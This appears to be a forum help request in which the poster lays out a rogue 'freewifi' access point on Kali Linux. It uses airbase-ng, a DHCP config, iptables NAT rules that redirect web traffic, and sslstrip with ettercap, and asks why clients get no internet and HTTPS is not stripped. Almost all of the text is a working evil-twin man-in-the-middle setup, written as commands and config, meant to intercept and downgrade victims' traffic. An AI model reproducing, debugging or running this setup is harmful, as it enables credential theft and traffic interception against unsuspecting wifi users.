Im trying to set up a fake AP using aircrack-ng suite, DHCP server & iptables.
After creating the fake AP:
airmon-ng start wlan1
airbase-ng -c 11 -e "freewifi" wlan1mon
running iptables configuration and at0 routing rules(bash file):
#!/bin/sh
ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to- port 10000
iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
running DHCP server : /etc/init.d/isc-dhcp-server start
/etc/dhcp/dhpd.conf file:
authoritative;
default-lease-time 600;
max-lease-time 7200;
subnet 10.0.0.0 netmask 255.255.255.0
{
option subnet-mask 255.255.255.0;
option domain-name "freewifi";
option routers 10.0.0.1;
option domain-name-servers 194.90.0.1;
range 10.0.0.10 10.0.0.20;
}
/etc/default/isc-dhcp-server file:
Running sslstrip and ettercap :
sslstrip -f -p -k
ettercap -p -u -T -q -i at0
First, no internet connection is given, I can connect to my "freewifi" AP and im even given an IP address, but internet connection cant be made:
then, I've noticed that it has Https on the address, sslstrip should strip down the s from https, so that was odd also.
I suspect that maybe I have a problem with my bridging (iptables), any help?
Kali Linux.